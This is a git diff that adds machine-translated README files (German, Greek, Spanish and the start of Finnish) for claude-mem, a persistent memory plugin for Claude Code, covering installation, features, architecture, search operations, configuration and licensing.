+"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +Siehe [Suchwerkzeuge-Anleitung](https://docs.claude-mem.ai/usage/search-tools) für detaillierte Beispiele. + +--- + +## Beta-Funktionen + +Claude-Mem bietet einen **Beta-Kanal** mit experimentellen Funktionen wie **Endless Mode** (biomimetische Speicherarchitektur für erweiterte Sitzungen). Wechseln Sie zwischen stabilen und Beta-Versionen über die Web-Viewer-UI unter http://localhost:37777 → Settings. + +Siehe **[Beta-Funktionen-Dokumentation](https://docs.claude-mem.ai/beta-features)** für Details zum Endless Mode und wie Sie ihn ausprobieren können. + +--- + +## Systemanforderungen + +- **Node.js**: 18.0.0 oder höher +- **Claude Code**: Neueste Version mit Plugin-Unterstützung +- **Bun**: JavaScript-Laufzeitumgebung und Prozessmanager (wird automatisch installiert, falls fehlend) +- **uv**: Python-Paketmanager für Vektorsuche (wird automatisch installiert, falls fehlend) +- **SQLite 3**: Für persistente Speicherung (enthalten) + +--- + +## Konfiguration + +Einstellungen werden in `~/.claude-mem/settings.json` verwaltet (wird beim ersten Start automatisch mit Standardwerten erstellt). Konfigurieren Sie KI-Modell, Worker-Port, Datenverzeichnis, Log-Level und Kontext-Injektionseinstellungen. + +Siehe die **[Konfigurationsanleitung](https://docs.claude-mem.ai/configuration)** für alle verfügbaren Einstellungen und Beispiele. + +--- + +## Entwicklung + +Siehe die **[Entwicklungsanleitung](https://docs.claude-mem.ai/development)** für Build-Anweisungen, Tests und Beitrags-Workflow. + +--- + +## Fehlerbehebung + +Wenn Sie Probleme haben, beschreiben Sie das Problem Claude und der troubleshoot Skill wird automatisch diagnostizieren und Lösungen bereitstellen. + +Siehe die **[Fehlerbehebungsanleitung](https://docs.claude-mem.ai/troubleshooting)** für häufige Probleme und Lösungen. + +--- + +## Fehlerberichte + +Erstellen Sie umfassende Fehlerberichte mit dem automatisierten Generator: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Beiträge + +Beiträge sind willkommen! Bitte: + +1. Forken Sie das Repository +2. Erstellen Sie einen Feature-Branch +3. Nehmen Sie Ihre Änderungen mit Tests vor +4. Aktualisieren Sie die Dokumentation +5. Reichen Sie einen Pull Request ein + +Siehe [Entwicklungsanleitung](https://docs.claude-mem.ai/development) für den Beitrags-Workflow. + +--- + +## Lizenz + +Dieses Projekt ist unter der **GNU Affero General Public License v3.0** (AGPL-3.0) lizenziert. + +Copyright (C) 2025 Alex Newman (@thedotmack). Alle Rechte vorbehalten. + +Siehe die [LICENSE](LICENSE)-Datei für vollständige Details. + +**Was das bedeutet:** + +- Sie können diese Software frei verwenden, modifizieren und verteilen +- Wenn Sie sie modifizieren und auf einem Netzwerkserver bereitstellen, müssen Sie Ihren Quellcode verfügbar machen +- Abgeleitete Werke müssen ebenfalls unter AGPL-3.0 lizenziert werden +- Es gibt KEINE GARANTIE für diese Software + +**Hinweis zu Ragtime**: Das `ragtime/`-Verzeichnis ist separat unter der **PolyForm Noncommercial License 1.0.0** lizenziert. Siehe [ragtime/LICENSE](ragtime/LICENSE) für Details. + +--- + +## Support + +- **Dokumentation**: [docs/](docs/) +- **Issues**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Autor**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Erstellt mit Claude Agent SDK** | **Powered by Claude Code** | **Made with TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.el.md b/docs/i18n/README.el.md new file mode 100644 index 00000000..3118db81 --- /dev/null +++ b/docs/i18n/README.el.md @@ -0,0 +1,302 @@ +🌐 Αυτή είναι μια αυτοματοποιημένη μετάφραση. Καλώς ορίζονται οι διορθώσεις από την κοινότητα! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Σύστημα συμπίεσης μόνιμης μνήμης κατασκευασμένο για το Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Γρήγορη Εκκίνηση • + Πώς Λειτουργεί • + Εργαλεία Αναζήτησης • + Τεκμηρίωση • + Διαμόρφωση • + Αντιμετώπιση Προβλημάτων • + Άδεια Χρήσης +

+ +

+ Το Claude-Mem διατηρεί απρόσκοπτα το πλαίσιο μεταξύ συνεδριών καταγράφοντας αυτόματα παρατηρήσεις χρήσης εργαλείων, δημιουργώντας σημασιολογικές περιλήψεις και καθιστώντας τες διαθέσιμες σε μελλοντικές συνεδρίες. Αυτό επιτρέπει στο Claude να διατηρεί τη συνέχεια της γνώσης για έργα ακόμη και μετά το τέλος ή την επανασύνδεση συνεδριών. +

+ +--- + +## Γρήγορη Εκκίνηση + +Ξεκινήστε μια νέα συνεδρία Claude Code στο τερματικό και εισάγετε τις ακόλουθες εντολές: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Επανεκκινήστε το Claude Code. Το πλαίσιο από προηγούμενες συνεδρίες θα εμφανιστεί αυτόματα σε νέες συνεδρίες. + +**Βασικά Χαρακτηριστικά:** + +- 🧠 **Μόνιμη Μνήμη** - Το πλαίσιο διατηρείται μεταξύ συνεδριών +- 📊 **Προοδευτική Αποκάλυψη** - Ανάκτηση μνήμης σε επίπεδα με ορατότητα κόστους tokens +- 🔍 **Αναζήτηση Βασισμένη σε Δεξιότητες** - Ερωτήματα στο ιστορικό του έργου σας με τη δεξιότητα mem-search +- 🖥️ **Διεπαφή Web Viewer** - Ροή μνήμης σε πραγματικό χρόνο στο http://localhost:37777 +- 💻 **Δεξιότητα Claude Desktop** - Αναζήτηση μνήμης από συνομιλίες Claude Desktop +- 🔒 **Έλεγχος Απορρήτου** - Χρησιμοποιήστε ετικέτες `` για να εξαιρέσετε ευαίσθητο περιεχόμενο από την αποθήκευση +- ⚙️ **Διαμόρφωση Πλαισίου** - Λεπτομερής έλεγχος για το ποιο πλαίσιο εισάγεται +- 🤖 **Αυτόματη Λειτουργία** - Δεν απαιτείται χειροκίνητη παρέμβαση +- 🔗 **Αναφορές** - Αναφορά σε παλαιότερες παρατηρήσεις με IDs (πρόσβαση μέσω http://localhost:37777/api/observation/{id} ή προβολή όλων στο web viewer στο http://localhost:37777) +- 🧪 **Κανάλι Beta** - Δοκιμάστε πειραματικά χαρακτηριστικά όπως το Endless Mode μέσω εναλλαγής έκδοσης + +--- + +## Τεκμηρίωση + +📚 **[Προβολή Πλήρους Τεκμηρίωσης](docs/)** - Περιήγηση στα markdown έγγραφα στο GitHub + +### Ξεκινώντας + +- **[Οδηγός Εγκατάστασης](https://docs.claude-mem.ai/installation)** - Γρήγορη εκκίνηση & προηγμένη εγκατάσταση +- **[Οδηγός Χρήσης](https://docs.claude-mem.ai/usage/getting-started)** - Πώς λειτουργεί αυτόματα το Claude-Mem +- **[Εργαλεία Αναζήτησης](https://docs.claude-mem.ai/usage/search-tools)** - Ερωτήματα στο ιστορικό του έργου σας με φυσική γλώσσα +- **[Χαρακτηριστικά Beta](https://docs.claude-mem.ai/beta-features)** - Δοκιμάστε πειραματικά χαρακτηριστικά όπως το Endless Mode + +### Βέλτιστες Πρακτικές + +- **[Μηχανική Πλαισίου](https://docs.claude-mem.ai/context-engineering)** - Αρχές βελτιστοποίησης πλαισίου για AI agents +- **[Προοδευτική Αποκάλυψη](https://docs.claude-mem.ai/progressive-disclosure)** - Φιλοσοφία πίσω από τη στρατηγική προετοιμασίας πλαισίου του Claude-Mem + +### Αρχιτεκτονική + +- **[Επισκόπηση](https://docs.claude-mem.ai/architecture/overview)** - Συστατικά στοιχεία συστήματος & ροή δεδομένων +- **[Εξέλιξη Αρχιτεκτονικής](https://docs.claude-mem.ai/architecture-evolution)** - Το ταξίδι από το v3 στο v5 +- **[Αρχιτεκτονική Hooks](https://docs.claude-mem.ai/hooks-architecture)** - Πώς το Claude-Mem χρησιμοποιεί lifecycle hooks +- **[Αναφορά Hooks](https://docs.claude-mem.ai/architecture/hooks)** - Επεξήγηση 7 hook scripts +- **[Υπηρεσία Worker](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API & διαχείριση Bun +- **[Βάση Δεδομένων](https://docs.claude-mem.ai/architecture/database)** - Σχήμα SQLite & αναζήτηση FTS5 +- **[Αρχιτεκτονική Αναζήτησης](https://docs.claude-mem.ai/architecture/search-architecture)** - Υβριδική αναζήτηση με βάση δεδομένων διανυσμάτων Chroma + +### Διαμόρφωση & Ανάπτυξη + +- **[Διαμόρφωση](https://docs.claude-mem.ai/configuration)** - Μεταβλητές περιβάλλοντος & ρυθμίσεις +- **[Ανάπτυξη](https://docs.claude-mem.ai/development)** - Κατασκευή, δοκιμή, συνεισφορά +- **[Αντιμετώπιση Προβλημάτων](https://docs.claude-mem.ai/troubleshooting)** - Συνήθη προβλήματα & λύσεις + +--- + +## Πώς Λειτουργεί + +**Βασικά Συστατικά:** + +1. **5 Lifecycle Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook scripts) +2. **Έξυπνη Εγκατάσταση** - Έλεγχος εξαρτήσεων με cache (pre-hook script, όχι lifecycle hook) +3. **Υπηρεσία Worker** - HTTP API στη θύρα 37777 με διεπαφή web viewer και 10 endpoints αναζήτησης, διαχειριζόμενη από το Bun +4. **Βάση Δεδομένων SQLite** - Αποθηκεύει συνεδρίες, παρατηρήσεις, περιλήψεις +5. **Δεξιότητα mem-search** - Ερωτήματα φυσικής γλώσσας με προοδευτική αποκάλυψη +6. **Βάση Δεδομένων Διανυσμάτων Chroma** - Υβριδική σημασιολογική + αναζήτηση λέξεων-κλειδιών για έξυπνη ανάκτηση πλαισίου + +Δείτε [Επισκόπηση Αρχιτεκτονικής](https://docs.claude-mem.ai/architecture/overview) για λεπτομέρειες. + +--- + +## Δεξιότητα mem-search + +Το Claude-Mem παρέχει έξυπνη αναζήτηση μέσω της δεξιότητας mem-search που ενεργοποιείται αυτόματα όταν ρωτάτε για παλαιότερη εργασία: + +**Πώς Λειτουργεί:** +- Απλά ρωτήστε φυσικά: *"Τι κάναμε την προηγούμενη συνεδρία;"* ή *"Διορθώσαμε αυτό το σφάλμα νωρίτερα;"* +- Το Claude ενεργοποιεί αυτόματα τη δεξιότητα mem-search για να βρει σχετικό πλαίσιο + +**Διαθέσιμες Λειτουργίες Αναζήτησης:** + +1. **Search Observations** - Αναζήτηση πλήρους κειμένου σε παρατηρήσεις +2. **Search Sessions** - Αναζήτηση πλήρους κειμένου σε περιλήψεις συνεδριών +3. **Search Prompts** - Αναζήτηση ακατέργαστων αιτημάτων χρήστη +4. **By Concept** - Εύρεση βάσει ετικετών εννοιών (discovery, problem-solution, pattern, κ.λπ.) +5. **By File** - Εύρεση παρατηρήσεων που αναφέρονται σε συγκεκριμένα αρχεία +6. **By Type** - Εύρεση βάσει τύπου (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Λήψη πρόσφατου πλαισίου συνεδρίας για ένα έργο +8. **Timeline** - Λήψη ενοποιημένης χρονολογικής γραμμής πλαισίου γύρω από συγκεκριμένο χρονικό σημείο +9. **Timeline by Query** - Αναζήτηση παρατηρήσεων και λήψη πλαισίου χρονολογικής γραμμής γύρω από την καλύτερη αντιστοιχία +10. **API Help** - Λήψη τεκμηρίωσης API αναζήτησης + +**Παραδείγματα Ερωτημάτων Φυσικής Γλώσσας:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +Δείτε [Οδηγό Εργαλείων Αναζήτησης](https://docs.claude-mem.ai/usage/search-tools) για λεπτομερή παραδείγματα. + +--- + +## Χαρακτηριστικά Beta + +Το Claude-Mem προσφέρει ένα **κανάλι beta** με πειραματικά χαρακτηριστικά όπως το **Endless Mode** (βιομιμητική αρχιτεκτονική μνήμης για εκτεταμένες συνεδρίες). Εναλλαγή μεταξύ σταθερών και beta εκδόσεων από τη διεπαφή web viewer στο http://localhost:37777 → Settings. + +Δείτε **[Τεκμηρίωση Χαρακτηριστικών Beta](https://docs.claude-mem.ai/beta-features)** για λεπτομέρειες σχετικά με το Endless Mode και πώς να το δοκιμάσετε. + +--- + +## Απαιτήσεις Συστήματος + +- **Node.js**: 18.0.0 ή νεότερο +- **Claude Code**: Τελευταία έκδοση με υποστήριξη plugin +- **Bun**: JavaScript runtime και διαχειριστής διεργασιών (εγκαθίσταται αυτόματα αν λείπει) +- **uv**: Διαχειριστής πακέτων Python για αναζήτηση διανυσμάτων (εγκαθίσταται αυτόματα αν λείπει) +- **SQLite 3**: Για μόνιμη αποθήκευση (συμπεριλαμβάνεται) + +--- + +## Διαμόρφωση + +Οι ρυθμίσεις διαχειρίζονται στο `~/.claude-mem/settings.json` (δημιουργείται αυτόματα με προεπιλογές κατά την πρώτη εκτέλεση). Διαμορφώστε το μοντέλο AI, τη θύρα worker, τον κατάλογο δεδομένων, το επίπεδο καταγραφής και τις ρυθμίσεις εισαγωγής πλαισίου. + +Δείτε τον **[Οδηγό Διαμόρφωσης](https://docs.claude-mem.ai/configuration)** για όλες τις διαθέσιμες ρυθμίσεις και παραδείγματα. + +--- + +## Ανάπτυξη + +Δείτε τον **[Οδηγό Ανάπτυξης](https://docs.claude-mem.ai/development)** για οδηγίες κατασκευής, δοκιμών και ροής εργασίας συνεισφοράς. + +--- + +## Αντιμετώπιση Προβλημάτων + +Εάν αντιμετωπίζετε προβλήματα, περιγράψτε το πρόβλημα στο Claude και η δεξιότητα troubleshoot θα διαγνώσει αυτόματα και θα παράσχει λύσεις. + +Δείτε τον **[Οδηγό Αντιμετώπισης Προβλημάτων](https://docs.claude-mem.ai/troubleshooting)** για συνήθη προβλήματα και λύσεις. + +--- + +## Αναφορές Σφαλμάτων + +Δημιουργήστε περιεκτικές αναφορές σφαλμάτων με την αυτοματοποιημένη γεννήτρια: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Συνεισφορά + +Οι συνεισφορές είναι ευπρόσδεκτες! Παρακαλώ: + +1. Κάντε Fork το repository +2. Δημιουργήστε ένα feature branch +3. Κάντε τις αλλαγές σας με δοκιμές +4. Ενημερώστε την τεκμηρίωση +5. Υποβάλετε ένα Pull Request + +Δείτε τον [Οδηγό Ανάπτυξης](https://docs.claude-mem.ai/development) για τη ροή εργασίας συνεισφοράς. + +--- + +## Άδεια Χρήσης + +Αυτό το έργο διατίθεται με άδεια **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Με επιφύλαξη παντός δικαιώματος. + +Δείτε το αρχείο [LICENSE](LICENSE) για πλήρεις λεπτομέρειες. + +**Τι Σημαίνει Αυτό:** + +- Μπορείτε να χρησιμοποιήσετε, να τροποποιήσετε και να διανείμετε ελεύθερα αυτό το λογισμικό +- Εάν τροποποιήσετε και αναπτύξετε σε διακομιστή δικτύου, πρέπει να καταστήσετε διαθέσιμο τον πηγαίο κώδικά σας +- Τα παράγωγα έργα πρέπει επίσης να διατίθενται με άδεια AGPL-3.0 +- ΔΕΝ υπάρχει ΕΓΓΥΗΣΗ για αυτό το λογισμικό + +**Σημείωση για το Ragtime**: Ο κατάλογος `ragtime/` διατίθεται χωριστά με άδεια **PolyForm Noncommercial License 1.0.0**. Δείτε το [ragtime/LICENSE](ragtime/LICENSE) για λεπτομέρειες. + +--- + +## Υποστήριξη + +- **Τεκμηρίωση**: [docs/](docs/) +- **Ζητήματα**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Συγγραφέας**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Κατασκευασμένο με Claude Agent SDK** | **Τροφοδοτείται από Claude Code** | **Φτιαγμένο με TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.es.md b/docs/i18n/README.es.md new file mode 100644 index 00000000..97879546 --- /dev/null +++ b/docs/i18n/README.es.md @@ -0,0 +1,303 @@ +🌐 Esta es una traducción automática. ¡Las correcciones de la comunidad son bienvenidas! + +--- + +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Sistema de compresión de memoria persistente construido para Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Inicio Rápido • + Cómo Funciona • + Herramientas de Búsqueda • + Documentación • + Configuración • + Solución de Problemas • + Licencia +

+ +

+ Claude-Mem preserva el contexto sin interrupciones entre sesiones al capturar automáticamente observaciones de uso de herramientas, generar resúmenes semánticos y ponerlos a disposición de sesiones futuras. Esto permite a Claude mantener la continuidad del conocimiento sobre proyectos incluso después de que las sesiones terminen o se reconecten. +

+ +--- + +## Inicio Rápido + +Inicia una nueva sesión de Claude Code en la terminal e ingresa los siguientes comandos: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Reinicia Claude Code. El contexto de sesiones anteriores aparecerá automáticamente en nuevas sesiones. + +**Características Principales:** + +- 🧠 **Memoria Persistente** - El contexto sobrevive entre sesiones +- 📊 **Divulgación Progresiva** - Recuperación de memoria en capas con visibilidad del costo de tokens +- 🔍 **Búsqueda Basada en Habilidades** - Consulta el historial de tu proyecto con la habilidad mem-search +- 🖥️ **Interfaz de Visor Web** - Transmisión de memoria en tiempo real en http://localhost:37777 +- 💻 **Habilidad para Claude Desktop** - Busca en la memoria desde conversaciones de Claude Desktop +- 🔒 **Control de Privacidad** - Usa etiquetas `` para excluir contenido sensible del almacenamiento +- ⚙️ **Configuración de Contexto** - Control detallado sobre qué contexto se inyecta +- 🤖 **Operación Automática** - No se requiere intervención manual +- 🔗 **Citas** - Referencias a observaciones pasadas con IDs (accede vía http://localhost:37777/api/observation/{id} o visualiza todas en el visor web en http://localhost:37777) +- 🧪 **Canal Beta** - Prueba características experimentales como Endless Mode mediante cambio de versión + +--- + +## Documentación + +📚 **[Ver Documentación Completa](docs/)** - Explora documentos markdown en GitHub + +### Primeros Pasos + +- **[Guía de Instalación](https://docs.claude-mem.ai/installation)** - Inicio rápido e instalación avanzada +- **[Guía de Uso](https://docs.claude-mem.ai/usage/getting-started)** - Cómo funciona Claude-Mem automáticamente +- **[Herramientas de Búsqueda](https://docs.claude-mem.ai/usage/search-tools)** - Consulta el historial de tu proyecto con lenguaje natural +- **[Características Beta](https://docs.claude-mem.ai/beta-features)** - Prueba características experimentales como Endless Mode + +### Mejores Prácticas + +- **[Ingeniería de Contexto](https://docs.claude-mem.ai/context-engineering)** - Principios de optimización de contexto para agentes de IA +- **[Divulgación Progresiva](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofía detrás de la estrategia de preparación de contexto de Claude-Mem + +### Arquitectura + +- **[Descripción General](https://docs.claude-mem.ai/architecture/overview)** - Componentes del sistema y flujo de datos +- **[Evolución de la Arquitectura](https://docs.claude-mem.ai/architecture-evolution)** - El viaje de v3 a v5 +- **[Arquitectura de Hooks](https://docs.claude-mem.ai/hooks-architecture)** - Cómo Claude-Mem usa hooks de ciclo de vida +- **[Referencia de Hooks](https://docs.claude-mem.ai/architecture/hooks)** - 7 scripts de hooks explicados +- **[Servicio Worker](https://docs.claude-mem.ai/architecture/worker-service)** - API HTTP y gestión de Bun +- **[Base de Datos](https://docs.claude-mem.ai/architecture/database)** - Esquema SQLite y búsqueda FTS5 +- **[Arquitectura de Búsqueda](https://docs.claude-mem.ai/architecture/search-architecture)** - Búsqueda híbrida con base de datos vectorial Chroma + +### Configuración y Desarrollo + +- **[Configuración](https://docs.claude-mem.ai/configuration)** - Variables de entorno y ajustes +- **[Desarrollo](https://docs.claude-mem.ai/development)** - Compilación, pruebas y contribución +- **[Solución de Problemas](https://docs.claude-mem.ai/troubleshooting)** - Problemas comunes y soluciones + +--- + +## Cómo Funciona + +**Componentes Principales:** + +1. **5 Hooks de Ciclo de Vida** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 scripts de hooks) +2. **Instalación Inteligente** - Verificador de dependencias en caché (script pre-hook, no un hook de ciclo de vida) +3. **Servicio Worker** - API HTTP en el puerto 37777 con interfaz de visor web y 10 endpoints de búsqueda, gestionado por Bun +4. **Base de Datos SQLite** - Almacena sesiones, observaciones, resúmenes +5. **Habilidad mem-search** - Consultas en lenguaje natural con divulgación progresiva +6. **Base de Datos Vectorial Chroma** - Búsqueda híbrida semántica + palabras clave para recuperación inteligente de contexto + +Ver [Descripción General de la Arquitectura](https://docs.claude-mem.ai/architecture/overview) para más detalles. + +--- + +## Habilidad mem-search + +Claude-Mem proporciona búsqueda inteligente a través de la habilidad mem-search que se invoca automáticamente cuando preguntas sobre trabajo previo: + +**Cómo Funciona:** +- Simplemente pregunta naturalmente: *"¿Qué hicimos en la última sesión?"* o *"¿Arreglamos este error antes?"* +- Claude invoca automáticamente la habilidad mem-search para encontrar contexto relevante + +**Operaciones de Búsqueda Disponibles:** + +1. **Search Observations** - Búsqueda de texto completo en observaciones +2. **Search Sessions** - Búsqueda de texto completo en resúmenes de sesiones +3. **Search Prompts** - Búsqueda de solicitudes de usuario sin procesar +4. **By Concept** - Buscar por etiquetas de concepto (discovery, problem-solution, pattern, etc.) +5. **By File** - Buscar observaciones que referencian archivos específicos +6. **By Type** - Buscar por tipo (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Obtener contexto de sesión reciente para un proyecto +8. **Timeline** - Obtener línea de tiempo unificada de contexto alrededor de un punto específico en el tiempo +9. **Timeline by Query** - Buscar observaciones y obtener contexto de línea de tiempo alrededor de la mejor coincidencia +10. **API Help** - Obtener documentación de la API de búsqueda + +**Ejemplos de Consultas en Lenguaje Natural:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +Ver [Guía de Herramientas de Búsqueda](https://docs.claude-mem.ai/usage/search-tools) para ejemplos detallados. + +--- + +## Características Beta + +Claude-Mem ofrece un **canal beta** con características experimentales como **Endless Mode** (arquitectura de memoria biomimética para sesiones extendidas). Cambia entre versiones estables y beta desde la interfaz del visor web en http://localhost:37777 → Settings. + +Ver **[Documentación de Características Beta](https://docs.claude-mem.ai/beta-features)** para detalles sobre Endless Mode y cómo probarlo. + +--- + +## Requisitos del Sistema + +- **Node.js**: 18.0.0 o superior +- **Claude Code**: Última versión con soporte de plugins +- **Bun**: Runtime de JavaScript y gestor de procesos (se instala automáticamente si falta) +- **uv**: Gestor de paquetes de Python para búsqueda vectorial (se instala automáticamente si falta) +- **SQLite 3**: Para almacenamiento persistente (incluido) + +--- + +## Configuración + +Los ajustes se gestionan en `~/.claude-mem/settings.json` (se crea automáticamente con valores predeterminados en la primera ejecución). Configura el modelo de IA, puerto del worker, directorio de datos, nivel de registro y ajustes de inyección de contexto. + +Ver la **[Guía de Configuración](https://docs.claude-mem.ai/configuration)** para todos los ajustes disponibles y ejemplos. + +--- + +## Desarrollo + +Ver la **[Guía de Desarrollo](https://docs.claude-mem.ai/development)** para instrucciones de compilación, pruebas y flujo de contribución. + +--- + +## Solución de Problemas + +Si experimentas problemas, describe el problema a Claude y la habilidad troubleshoot diagnosticará automáticamente y proporcionará soluciones. + +Ver la **[Guía de Solución de Problemas](https://docs.claude-mem.ai/troubleshooting)** para problemas comunes y soluciones. + +--- + +## Reportes de Errores + +Crea reportes de errores completos con el generador automático: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Contribuciones + +¡Las contribuciones son bienvenidas! Por favor: + +1. Haz fork del repositorio +2. Crea una rama de característica +3. Realiza tus cambios con pruebas +4. Actualiza la documentación +5. Envía un Pull Request + +Ver [Guía de Desarrollo](https://docs.claude-mem.ai/development) para el flujo de contribución. + +--- + +## Licencia + +Este proyecto está licenciado bajo la **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Todos los derechos reservados. + +Ver el archivo [LICENSE](LICENSE) para detalles completos. + +**Lo Que Esto Significa:** + +- Puedes usar, modificar y distribuir este software libremente +- Si modificas y despliegas en un servidor de red, debes hacer tu código fuente disponible +- Los trabajos derivados también deben estar licenciados bajo AGPL-3.0 +- NO hay GARANTÍA para este software + +**Nota sobre Ragtime**: El directorio `ragtime/` está licenciado por separado bajo la **PolyForm Noncommercial License 1.0.0**. Ver [ragtime/LICENSE](ragtime/LICENSE) para detalles. + +--- + +## Soporte + +- **Documentación**: [docs/](docs/) +- **Problemas**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repositorio**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Autor**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Construido con Claude Agent SDK** | **Impulsado por Claude Code** | **Hecho con TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.fi.md b/docs/i18n/README.fi.md new file mode 100644 index 00000000..a9f66fd9 --- /dev/null +++ b/docs/i18n/README.fi.md @@ -0,0 +1,301 @@ +🌐 Tämä on automaattinen käännös. Yhteisön korjaukset ovat tervetulleita! + +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Pysyvä muistinpakkaamisjärjestelmä, joka on rakennettu Claude Code -ympäristöön.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Pikaopas • + Miten se toimii • + Hakutyökalut • + Dokumentaatio • + Asetukset • + Vianmääritys • + Lisenssi +

+ +

+ Claude-Mem säilyttää kontekstin saumattomasti istuntojen välillä tallentamalla automaattisesti työkalujen käyttöhavaintoja, luomalla semanttisia yhteenvetoja ja asettamalla ne tulevien istuntojen saataville. Tämä mahdollistaa Clauden säilyttää tiedon jatkuvuuden projekteista senkin jälkeen, kun istunnot päättyvät tai yhteys palautuu. +

+ +--- + +## Pikaopas + +Aloita uusi Claude Code -istunto terminaalissa ja syötä seuraavat komennot: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Käynnistä Claude Code uudelleen. Aiempien istuntojen konteksti ilmestyy automaattisesti uusiin istuntoihin. + +**Keskeiset ominaisuudet:** + +- 🧠 **Pysyvä muisti** - Konteksti säilyy istuntojen välillä +- 📊 **Asteittainen paljastaminen** - Kerrostettu muistin haku tokenikustannusten näkyvyydellä +- 🔍 **Taitopohjainen haku** - Kysy projektihistoriaasi mem-search-taidolla +- 🖥️ **Web-katselukäyttöliittymä** - Reaaliaikainen muistivirta osoitteessa http://localhost:37777 +- 💻 **Claude Desktop -taito** - Hae muistista Claude Desktop -keskusteluissa +- 🔒 **Yksityisyyden hallinta** - Käytä ``-tageja arkaluonteisen sisällön poissulkemiseen tallennuksesta +- ⚙️ **Kontekstin määrittely** - Tarkka hallinta siitä, mikä konteksti injektoidaan +- 🤖 **Automaattinen toiminta** - Ei vaadi manuaalista puuttumista +- 🔗 **Viittaukset** - Viittaa aiempiin havaintoihin ID:llä (käytettävissä osoitteessa 